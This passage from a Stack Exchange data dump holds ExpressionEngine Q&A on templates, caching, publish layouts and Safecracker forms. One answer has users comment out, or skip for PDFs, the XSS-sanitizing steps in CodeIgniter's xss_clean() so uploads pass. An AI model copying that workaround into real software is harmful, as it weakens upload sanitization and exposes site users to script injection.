rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/results?keywords=delete&amp;amp;addon_version_support=ee2&lt;/a&gt;), but naturally you have to be extremely conscious of security, making sure that a logged-in member can only delete their own entries and locking down things like the channel from which they can delete etc. This is where your own custom add-on can help tighten things up a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben's Open-API mentioned previously looks like it will become a brilliant alternative to Safecracker/Channel Form, however at this point in time (I think) it lacks support for 3rd party fieldtypes, so that may become an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other little bit of advice is that instead of using loads of repetitive &lt;code&gt;{if logged_in}...{if:else}&lt;/code&gt; sections, consider instead using a single redirection snippet that can be placed at the top of any non-public templates to redirect logged-out users to a generic 'permission-denied' template (or a standard login template). This avoids the '&lt;a href=&quot;http://www.derekallard.com/blog/post/simple-vs-complex-conditionals-in-expressionengine-templates&quot; rel=&quot;nofollow&quot;&gt;advanced conditionals trap&lt;/a&gt;' and also allows you to easily alter the logic of what exactly constitutes a 'logged-in' user (eg, what happens when your site grows and you start accepting membership from job applicants as well as job advertisers etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck - this will be a fun project for you. I've recently completed a sporting web app where the content is entirely user-generated, and EE coped admirably - though with a lot of help from a custom add-on that basically served to tie together Matrix, Playa, Profile:Edit, Safecracker, Postmaster and Cartthrob into a cohesive and secure whole.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-10-02T17:34:11.287" LastActivityDate="2013-10-02T17:34:11.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14263" PostTypeId="1" CreationDate="2013-10-02T18:33:00.463" Score="3" ViewCount="191" Body="&lt;p&gt;I have a template with just two fields is it, an optional field for a thumbnail photograph and a body field for text. Only the body field is required. However, when I attempt to save an entry with just the body content entered I am unable to save the entry and I get a notice below the File field that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You did not select a file to upload.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have double checked the field several times and confirmed that it is not required. Has anyone else had this experience and better yet know how to resolve the problem? I am running ee 2.7.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-10-02T18:35:18.507" Title="Why is an un-required field required?" Tags="|file-uploads|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14264" PostTypeId="2" ParentId="14263" CreationDate="2013-10-02T18:35:18.507" Score="3" Body="&lt;p&gt;I just found the answer. It is a bug: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19732&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19732&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-10-02T18:35:18.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14265" PostTypeId="1" AcceptedAnswerId="14266" CreationDate="2013-10-02T18:48:29.707" Score="2" ViewCount="190" Body="&lt;p&gt;So I upgraded to EE 2.7.1 and I am having issues with my publish layouts. If I leave things well alone, all seems good in the world. However, if I go in and edit the layout to rearrange fields in a more friendly manner, they disappear when I go in to publish a new entry or edit an existing entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very basic... If I split the difference between title and url_title, save the layout, exit the  entry, go back into the entry or create a new entry, the url_title is gone and a blank box is sitting on the &quot;eyeball&quot; icon in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else run into this? How the heck do you fix this?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-02T19:30:43.357" Title="EE 2.7.1 Publish Layout fields disappearing" Tags="|ee2|custom-fields|publish-layout|custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14266" PostTypeId="2" ParentId="14265" CreationDate="2013-10-02T19:30:43.357" Score="4" Body="&lt;p&gt;There are a couple of bugs with publish layouts that have popped up in 2.7.1. Here's a link to one that sounds like it might be related and contains a fix file to download and apply:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19738&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19738&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know if that fix works for your issue as well.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2013-10-02T19:30:43.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14267" PostTypeId="2" ParentId="189" CreationDate="2013-10-02T19:31:09.280" Score="3" Body="&lt;p&gt;This is not a solution, but I am using EE 2.7 and have been able to narrow down the offending code.  Simply commenting out these three lines allowed for my offending PDFs to pass.  I personally am not using this in production, and I have spent time trying to modify the code to get it to work... with no luck.  Maybe someone can use this information to help update the code - I don't want to pollute the bug tracker with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/system/codeigniter/system/core/Security.php - xss_clean()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Near line 345&#xA;if (preg_match(&quot;/&amp;lt;a/i&quot;, $str))&#xA;{&#xA;    $str = preg_replace_callback(&quot;#&amp;lt;a\s+([^&amp;gt;]*?)(&amp;gt;|$)#si&quot;, array($this, '_js_link_removal'), $str);&#xA;}&#xA;&#xA;// Near line 365&#xA;$str = $this-&amp;gt;_remove_evil_attributes($str, $is_image);&#xA;&#xA;// Near line 377&#xA;$str = preg_replace_callback('#&amp;lt;(/*\s*)('.$naughty.')([^&amp;gt;&amp;lt;]*)([&amp;gt;&amp;lt;]*)#is', array($this, '_sanitize_naughty_html'), $str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than commenting out the lines above, you can check whether or not the file is a PDF and wrap each of the above in &lt;code&gt;if( !$is_pdf ) { ... }&lt;/code&gt;.  Put the following code near the top of &lt;code&gt;xss_clean()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// NOTE: Requires PHP &amp;gt;= 5.3&#xA;$finfo = new finfo(FILEINFO_MIME_TYPE);&#xA;$is_pdf = $finfo-&amp;gt;buffer($str) == &quot;application/pdf&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1529" LastEditorUserId="1529" LastEditDate="2013-10-02T20:50:40.467" LastActivityDate="2013-10-02T20:50:40.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14268" PostTypeId="1" AcceptedAnswerId="14287" CreationDate="2013-10-02T19:56:29.493" Score="2" ViewCount="199" Body="&lt;p&gt;I am using Minimee 2.1.9 to combine and minify my css and js scripts on my EE 2.6.1 site. All works wonderfully if I don't have Template Caching turned on. When I turn on template caching for a particular template, the page will load the first time, but after that, the minimee tags just return something like this &quot;{f4acc930e16260a7c8fcfd443f232ba1fb6b238e}&quot; instead of the minified/crunched  or  tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue seems similar to what's happening with this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/8796/stash-switchee-and-template-caching-outputs-a-random-string-6ee64145dfa4ae5926&quot;&gt;Stash, switchee and template caching outputs a random string {6ee64145dfa4ae5926a9c326266d5954499133923}&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not using 'Stash'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can get around this, so I can use template caching?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my {minimee} tags are within some Low Variables snippets, but I don't think that's related, as I've done a test where I bypassed low variables and got the same issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-03T18:19:35.197" Title="Template Caching breaks Minimee" Tags="|templates|caching|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14269" PostTypeId="2" ParentId="14243" CreationDate="2013-10-02T20:07:32.680" Score="1" Body="&lt;p&gt;Here's a different page/embed approach to ponder, it may make maintenace much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think inside out and consider using partials. &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Template-partials&quot; rel=&quot;nofollow&quot;&gt;about partials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres our layout. Template = layout/.default&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:stash:head_title} - LocalYak&amp;lt;/title&amp;gt;&#xA;        {sn_head}&#xA;        {gv_jquery}&#xA;        {exp:stash:head_links}&#xA;        {gv_google_analytics}&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        {sn_body_top}&#xA;        &amp;lt;div id=&quot;main_bkgd&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;main&quot; class=&quot;device_{ress} view_{view}&quot;&amp;gt;&#xA;                {exp:stash:content_above}&#xA;                &amp;lt;div id=&quot;content&quot; class=&quot;{if ress &amp;gt; 1}rounded{/if} {exp:stash:get name='content_class'}&quot;&amp;gt;&#xA;                    {exp:stash:content}&#xA;                &amp;lt;/div&amp;gt;&#xA;                {exp:stash:content_below}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {sn_footer}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And heres a (page) template that calls and uses that layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layout/.default&quot;}&#xA;{exp:stash:set name='head_title'}Compare{/exp:stash:set}&#xA;{exp:stash:set name='head_links'}&#xA;    &amp;lt;link rel='stylesheet' type='text/css' media='screen' href=&quot;{stylesheet='advertise/.css_advertise'}&quot; /&amp;gt;&#xA;    &amp;lt;link rel='stylesheet' type='text/css' media='screen' href=&quot;{stylesheet='pages/.css_pages'}&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;Compare advertising packages&quot; /&amp;gt;&#xA;{/exp:stash:set}&#xA;{exp:stash:set name='content_class'}tab-advertise outline{/exp:stash:set}&#xA;{exp:stash:set name='content'}&#xA;    &amp;lt;div class=&quot;page_select body_wrap&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Compare packages&amp;lt;/h1&amp;gt;&#xA;        [put your page content here.... or if you are forced to like we did on this occassion, create an extra embed]{embed=&quot;advertise/.select_type&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you need to show different content for the page, simply wrap using simple conditional like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;&quot;}&#xA;    {exp:stash:set name='content_class'}category splash{/exp:stash:set}&#xA;    {exp:stash:set name='content'}some content or tags{/exp:stash:set}&#xA;{/if}&#xA;{if segment_3 != &quot;&quot;}&#xA;    {exp:stash:set name='content_class'}category splash{/exp:stash:set}&#xA;    {exp:stash:set name='content'}some different content or tags{/exp:stash:set}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Our site is mostly built on that one single default layout, however we do use a total of seven layouts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here an example of a safecracker page (channel form)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layout/.mybusiness&quot; page_id=&quot;latest_news&quot;}&#xA;{exp:stash:set name='head_title'}Edit latest news{/exp:stash:set}&#xA;{exp:stash:set name='head_links'}&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; href=&quot;{stylesheet='_ee_saef_css'}&quot;/&amp;gt;&#xA;{/exp:stash:set}&#xA;{exp:stash:set name='body_wrap_class'}edit edit_news{/exp:stash:set}&#xA;{exp:stash:set name='content'}  &#xA;    {exp:safecracker &#xA;        channel = &quot;browse&quot; &#xA;        url_title = &quot;{segment_3}&quot;&#xA;        return = &quot;mybusiness/view/URL_TITLE/{segment_4}/latest_news&quot;&#xA;        require_entry = &quot;yes&quot;&#xA;        include_jquery = &quot;no&quot;&#xA;        {if global:sc_https_on}&#xA;            secure_action = &quot;yes&quot;&#xA;            secure_return = &quot;yes&quot;&#xA;        {/if}&#xA;        }   &#xA;        &amp;lt;div class=&quot;rounded border box&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;first&quot; for=&quot;latest_news&quot;&amp;gt;Enter your latest community news.&amp;lt;/label&amp;gt;&#xA;            {field:latest_news}&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;div class=&quot;btn_wrap&quot;&amp;gt;&amp;lt;a href=&quot;{path='mybusiness'}/view/{segment_3}/{segment_4}/latest_news&quot; class=&quot;btn green&quot; rel=&quot;nofollow&quot;&amp;gt;cancel&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;btn_wrap&quot;&amp;gt;&amp;lt;button type=&quot;submit&quot; name=&quot;submit_button&quot; class=&quot;btn green&quot;&amp;gt;&amp;lt;span&amp;gt;save&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:safecracker}   &#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-10-17T19:47:22.133" LastActivityDate="2013-10-17T19:47:22.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14270" PostTypeId="2" ParentId="14256" CreationDate="2013-10-02T20:09:17.293" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/playa/installation.html&quot; rel=&quot;nofollow&quot;&gt;Playa has an update script&lt;/a&gt; that you might have to trigger. Try &lt;strong&gt;Add-Ons&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Fieldtypes&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Playa&lt;/strong&gt; to trigger Playa’s update script and see if that sorts things out.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-10-02T20:09:17.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14271" PostTypeId="1" CreationDate="2013-10-02T20:27:55.830" Score="4" ViewCount="81" Body="&lt;p&gt;Real URLs have been changed to protect the innocent, but the dummy URLs are the exact same length (197 characters unexpectedly truncated to 60) and similar format. When posting this to a Wygwam field &lt;strong&gt;via Safecracker but not from the control panel&lt;/strong&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;This is oddly frustrating. &amp;lt;a href=&quot;http://foo.com/content/page/index.phtml?a=ca1ca56e8338eba3c6fe9a3c182811e4&amp;amp;b=329040bdfc813321bb314de480cd4c2f&amp;amp;c=ca1ca56e8338eba3c6fe9a3c182811e4&amp;amp;d=ca1ca56e8338eba3c6fe9a3c182811e4&amp;amp;e=ca1ca56e8338eb&quot;&amp;gt;Here's the link&amp;lt;/a&amp;gt;. This sentence should come after the link.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... the result ends up being stored like this ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;This is oddly frustrating. &amp;lt;a href=&quot;http://foo.com/content/page/index.phtml?a=ca1ca56e8338eba3c&amp;gt;Here's the link&amp;lt;/a&amp;gt;. This sentence should come after the link.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the href property is never completed with a &lt;code&gt;&quot;&lt;/code&gt; even despite the truncated URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this happen via Safecracker and &lt;em&gt;not&lt;/em&gt; via the control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1, Wygwam 3.1.2.&lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="810" LastEditDate="2013-10-02T21:20:16.850" LastActivityDate="2013-10-09T20:49:32.000" Title="Wygwam+Safecracker: long URL gets limited to 60 characters and breaks HTML" Tags="|safecracker|wygwam|" AnswerCount="0" CommentCount="2" ClosedDate="2013-10-30T18:39:00.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="14272" PostTypeId="2" ParentId="14127" CreationDate="2013-10-02T20:40:21.380" Score="2" Body="&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally the first thing I try when query strings go wrong!&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-02T20:40:21.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14273" PostTypeId="1" AcceptedAnswerId="14274" CreationDate="2013-10-02T22:02:31.223" Score="0" ViewCount="53" Body="&lt;p&gt;I have EE 2.7 running with MSM 2.16 and want to upgrade to EE 2.7.1 to fix some bugs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of restoring the three files that come with MSM is there anything else that has to be done differently because of MSM?&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-10-03T00:57:43.987" Title="Upgrading 2.7 to 2.7.1 with MSM" Tags="|multi-site-manager|upgrade|ee2-upgrades|2.7.0|2.7.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14274" PostTypeId="2" ParentId="14273" CreationDate="2013-10-03T00:57:43.987" Score="0" Body="&lt;p&gt;No, that is all you have to do.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-03T00:57:43.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14275" PostTypeId="1" CreationDate="2013-10-03T06:15:14.137" Score="0" ViewCount="25" Body="&lt;p&gt;I have 2 installations of one site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have channels and addons that exist in one site but not in the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way or an addon that enables me to basically &quot;export&quot; the data from one of the sites to the other?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-03T20:44:32.420" Title="Addon to &quot;package&quot; data like Channels, Addons, etc across sites" Tags="|import|export|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-17T18:07:25.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="14276" PostTypeId="1" CreationDate="2013-10-03T09:35:52.203" Score="1" ViewCount="85" Body="&lt;p&gt;I am trying to convert the channel images module into a plain old vanilla file field type. Specifically for the reason that the folder structure channell images imposes (entry id for each folder, images tucked in) and the multiple relationships in the database make for problems when I am trying to call this from specifically Open API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to that end, has anyone done a conversion like this? Am I right in assuming that I will have to do a ton of scripting to make this happen? The process I was going to follow was as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy/Move all images to the main uploads folder as defined in my upload prefs&lt;/li&gt;&#xA;&lt;li&gt;Look up all the channel images in my DB by a big nasty dirty sql query, take the file name and copy this (again via a big dirty update query) and copy {filedir_4}/filename.jpg into the new vanilla file field&lt;/li&gt;&#xA;&lt;li&gt;Change all my templates to remove the channel images tags for my image call&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just wondering if someone has done this and should I watch out for anything in particular.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="55" LastEditDate="2013-10-03T14:04:16.287" LastActivityDate="2013-10-03T14:04:16.287" Title="Converting channel images to vanilla file field type" Tags="|file-uploads|channel-images|files|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14277" PostTypeId="1" AcceptedAnswerId="14278" CreationDate="2013-10-03T11:15:11.630" Score="0" ViewCount="38" Body="&lt;p&gt;i am using following code for display title of next and previous article in current article detail page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          {exp:channel:prev_entry}&#xA;            {exp:channel:entries channel=&quot;teaching_tips&quot; dynamic=&quot;off&quot; limit=&quot;1&quot; sort=&quot;desc&quot;}&#xA;            &amp;lt;p&amp;gt; &amp;amp;laquo; Previous Article: &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            {/exp:channel:prev_entry} &#xA;&#xA;            {exp:channel:next_entry}&#xA;            {exp:channel:entries channel=&quot;teaching_tips&quot; dynamic=&quot;off&quot; limit=&quot;1&quot; sort=&quot;desc&quot;}&#xA;            &amp;lt;p&amp;gt;Next Article: &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; &amp;amp;raquo; &amp;lt;/p&amp;gt;&#xA;            {/exp:channel:entries}       &#xA;            {/exp:channel:next_entry} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now i want to display only title of next and previous article which have same channel =&quot;teaching_tips&quot; but this code is display another channel entries how to stop this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i want to display next article link when i will open 1st entry and when i will open last entry i want to display only previous article link how this i can do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2091" LastActivityDate="2013-10-03T11:50:11.847" Title="How to stop displaying title of next and privous article in my current article?" Tags="|ee2|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14278" PostTypeId="2" ParentId="14277" CreationDate="2013-10-03T11:50:11.847" Score="2" Body="&lt;p&gt;You would want to remove the channel entries loops you have stuck within the next entry and previous entry tags - they themselves should contain the channel parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:prev_entry channel=&quot;teaching_tips&quot;}&#xA;   &amp;lt;p&amp;gt; &amp;amp;laquo; Previous Article: &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:prev_entry} &#xA;&#xA;{exp:channel:next_entry channel=&quot;teaching_tips&quot;}&#xA;   &amp;lt;p&amp;gt;Next Article: &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; &amp;amp;raquo; &amp;lt;/p&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like the entries loop itself, the pref_entry and next_entry tags, in absence of a channel parameter, will load from all channels.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-10-03T11:50:11.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14279" PostTypeId="1" CreationDate="2013-10-03T13:12:17.687" Score="1" ViewCount="114" Body="&lt;p&gt;MSM or not to MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site where a specific member group can only access one area of the website, would I be better to use MSM or just stick with a template group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/preciousthings&#xA;or&#xA;www.preciousthings.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the member goes to www.mysite.com they will be redirected to the /preciousthings directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So apart from having a neater url is there any reason to use MSM over a template group, for security etc, or is it just a lot of work for not much gain?&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-10-21T05:05:44.497" Title="Multi-site manager MSM or template group" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14280" PostTypeId="1" AcceptedAnswerId="14628" CreationDate="2013-10-03T13:15:29.537" Score="0" ViewCount="71" Body="&lt;p&gt;Recently moved our development site onto the live hosting and now a few crucial structure tags are not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{structure:top:title}&#xA;{structure:child_ids}&#xA;{exp:structure:entries parent_id=&quot;{structure:page:entry_id}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the {exp:structure:nav} does work…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? All works fine on our dev build&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-10-16T07:15:45.530" Title="Some structure tags not working after server move" Tags="|structure|server-migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14281" PostTypeId="1" CreationDate="2013-10-03T13:58:04.180" Score="2" ViewCount="88" Body="&lt;p&gt;Running into a weird issue where when I turn off the Emoticon Smilies, spaces are being added to a few image names in my channel entries loops, causing it to break the image path. Also, not all of the entrie's image names are getting spaces added to them, just a few of them. Has anyone seen this before? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BsfQe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2132" LastActivityDate="2013-10-03T13:58:04.180" Title="Turning off Emoticon smilies is breaking image path" Tags="|channel-images|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14282" PostTypeId="1" AcceptedAnswerId="14286" CreationDate="2013-10-03T14:20:57.003" Score="3" ViewCount="114" Body="&lt;p&gt;I have the following code in my blog index template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog-listing&quot;&amp;gt;&#xA;    {if &quot;{freebie_2}&quot; == &quot;&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            disable=&quot;categories custom_fields member_data pagination&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;            parse=&quot;inward&quot;&#xA;            status='{exp:stash:get &#xA;                name=&quot;preview_status&quot;&#xA;                file=&quot;yes&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;                parse_conditionals=&quot;yes&quot;&#xA;            }'&#xA;        }&#xA;            {article_snippet}&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;    {if &quot;{freebie_2}&quot; == &quot;column&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            category=&quot;{exp:freebie:category_id segment='3'}&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;            status='{exp:stash:get &#xA;                name=&quot;preview_status&quot;&#xA;                file=&quot;yes&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;                parse_conditionals=&quot;yes&quot;&#xA;            }'&#xA;            parse=&quot;inward&quot;&#xA;        }&#xA;            {article_snippet}&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently this page is taking on average 2.97 seconds to load. I started removing pieces here and there to see if I could get to the bottom of what's slowing it down, and I just may have. It seems it may actually be the basic &lt;code&gt;{if}&lt;/code&gt; statements!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the second one completely the page load time averages out to 1.58 seconds. I thought it might be Freebie, so I changed it to &lt;code&gt;{if &quot;columns&quot; == &quot;column&quot;}&lt;/code&gt; and it took just as long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? What might be the root cause of this? I'm on &lt;em&gt;blazing fast&lt;/em&gt; servers and this shouldn't be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2014-09-07T15:05:52.593" Title="Basic conditional adding a full second to load time" Tags="|conditionals|speed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
